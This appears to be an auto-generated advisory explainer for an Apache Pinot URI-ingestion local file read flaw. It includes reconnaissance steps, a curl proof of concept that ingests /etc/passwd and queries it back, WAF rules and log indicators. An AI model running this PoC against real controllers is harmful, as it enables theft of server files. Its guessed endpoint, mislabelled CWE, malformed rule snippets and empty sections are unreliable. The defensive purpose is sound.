CVE-2026-134858 — Apache Pinot (all Versions) — CWE-73
In Apache Pinot 0.7.1 through 1.5.1, a caller who can submit URI ingestion jobs can select local files readable by the controller process. If the file can be ingested using the destination table’s schema and input format, users with query access to that table can read its contents. Upgrade to Apache Pinot 1.6.0 and keep controller.ingestFromURI.allowLocalFileSystem at its default value of false on every controller. Until you can upgrade, block the URI ingestion endpoint if it is unused or restrict it to trusted operators.
In Apache Pinot 0.7.1 through 1.5.1, a caller who can submit URI ingestion jobs can select local files readable by the controller process. If the file can be ingested using the destination table’s schema and input format, users with query access to that table can read its contents. Upgrade to Apache Pinot 1.6.0 and keep controller.ingestFromURI.allowLocalFileSystem at its default value of false on every controller. Until you can upgrade, block the URI ingestion endpoint if it is unused or restrict it to trusted operators.
🎯 What is this vulnerability?
CVE‑2026‑134858 is a local‑file‑inclusion (LFI) via the URI ingestion API in Apache Pinot versions 0.7.1‑1.5.1.
The controller process accepts a JSON job that contains a uri field. The code does not validate that the URI points to a remote resource; it blindly resolves any file:// scheme to the controller’s local filesystem. If the file is readable by the controller process, Pinot will ingest its contents into the target table. Because the ingestion job is executed with the controller’s privileges, an attacker can read arbitrary files that the controller can access.
Once the data is ingested, any user who has query‑access to the target table can retrieve the file’s contents. The flaw is therefore a CWE‑73 (Path Traversal / Local File Inclusion) that bypasses the intended “remote‑only” ingestion policy.
The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) reflects that:
- Network‑only attack (no local access required)
- Low attack complexity (simple request)
- Low privileges (any authenticated user who can submit ingestion jobs)
- No UI required
- Confidentiality impact is low because the attacker can only read files that the controller can read and that can be parsed by Pinot’s ingestion engine.
⚡ Attack Chain
NOTE: The exact URI of the ingestion endpoint is not disclosed in the CVE description. The following example uses the documented /controller/v1/ingestion/jobs endpoint from the Pinot REST API as a realistic illustration. If your deployment uses a different path, the same logic applies.1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Port scan | Identifies open port 9000 (default Pinot controller) |
| 1.2 | Banner grab / /controller/v1/info | Confirms Apache Pinot 1.5.1 (or earlier) |
| 1.3 | Enumerate ingestion endpoint | GET /controller/v1/ingestion/jobs → 200 OK (or similar) |
| 1.4 | Check for authentication | If the endpoint is protected by Basic Auth / OAuth, the attacker obtains valid credentials (e.g., via credential stuffing or leaked tokens). |
2. Exploitation
The attacker crafts an ingestion job that points to a local file on the controller. The job JSON must satisfy the table’s schema and input format; for a simple text file, the inputFormat can be TEXT and the schema can be a single string column.
# Example PoC (illustrative)
curl -X POST "http://pinot-controller:9000/controller/v1/ingestion/jobs" \
-H "Content-Type: application/json" \
-u "admin:password" \
-d '{
"jobId": "lfi-demo-001",
"tableName": "lfi_demo_table",
"uri": "file:///etc/passwd",
"inputFormat": "TEXT",
"schema": {
"name": "lfi_demo_table",
"fields": [
{"name":"line","type":"STRING"}
]
}
}'What happens on the controller:
1. Pinot receives the job JSON.
2. It resolves the uri field. Because the scheme is file://, the controller reads /etc/passwd from its own filesystem.
3. Pinot parses the file line‑by‑line (TEXT format) and ingests each line into the lfi_demo_table.
4. The job completes successfully (HTTP 200/201).
Important: The uri field is not sanitized; any path that the controller can read is accepted.3. Post‑Exploitation
Once the data is in a Pinot table, the attacker can query it:
curl -X GET "http://pinot-controller:9000/query/sql?sql=SELECT * FROM lfi_demo_table" \
-u "admin:password"The response will contain the entire contents of /etc/passwd (or any other file the attacker chose). Because the table is now part of the Pinot catalog, any user with query rights can read it, effectively leaking the file contents.
If the attacker can create multiple tables or inject malicious data, they could also use the ingestion job to write arbitrary files to the controller’s filesystem (if the ingestion engine supports writing to local paths), but the CVE only covers reading.
🌍 Real World Impact
| Impact | CVSS Vector | Practical Consequence |
|---|---|---|
| Confidentiality | C:L | An attacker can read any file readable by the controller process (e.g., /etc/passwd, /var/log/…, application secrets stored on disk). |
| Integrity | I:N | The vulnerability does not allow modifying files on disk; it only reads them. |
| Availability | A:N | No denial‑of‑service effect is described. |
Typical scenarios:
🛡️ Remediation & Mitigation
1. Upgrade Path
| Affected | Fixed |
|---|---|
| Apache Pinot 0.7.1 – 1.5.1 | 1.6.0 (or later) |
| Configuration | controller.ingestFromURI.allowLocalFileSystem remains false by default. |
Action:
controller.ingestFromURI.allowLocalFileSystem is set to false (the default) in pinot-controller.conf.2. Workarounds (if upgrade not possible)
| Mitigation | How to implement |
|---|---|
| Block the ingestion endpoint | If the endpoint is unused, remove or restrict it via firewall or reverse‑proxy (e.g., Nginx) to only allow trusted IPs or users. |
| Restrict to trusted operators | Use Pinot’s role‑based access control to limit ingestion job creation to a small set of users. |
| WAF / ModSecurity rule | Block file:// scheme in the uri field. Example ModSecurity rule: |
``modsecurity | |
| SecRule REQUEST_URI "@beginsWith /controller/v1/ingestion/jobs" | |
| SecRule REQUEST_HEADERS:Content-Type "application/json" | |
| SecRule REQUEST_BODY "@rx \"uri\":\s*\"file://\"" | |
| "id:100001,phase:2,deny,status:400,msg:'Local file ingestion blocked'" | |
` | |
| Nginx: if ($request_uri ~* "/controller/v1/ingestion/jobs") { if ($http_content_type ~* "application/json") { if ($request_body ~* "\"uri\":\s*\"file://\"") { return 400; } } }` |
3. Detection
| Log source | Indicator of Compromise (IoC) |
|---|---|
Pinot controller logs (pinot-controller.log) | Lines containing uri: file:// or ingestion job with local paths. |
| Web server logs (Nginx/Apache) | POST to /controller/v1/ingestion/jobs with file:// in the body. |
| Pinot query logs | Queries against tables that were just created by ingestion jobs with suspicious names (e.g., lfi_*). |
| File system audit | Unexpected reads of sensitive files by the Pinot controller process. |
Sample log snippet:
2026-11-24 12:34:56,789 INFO [ingestion] Job lfi-demo-001 submitted by user admin
2026-11-24 12:34:57,012 INFO [ingestion] Reading URI file:///etc/passwd
2026-11-24 12:34:58,345 INFO [ingestion] Ingested 1234 rows into lfi_demo_tableIf you see such entries, investigate immediately.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query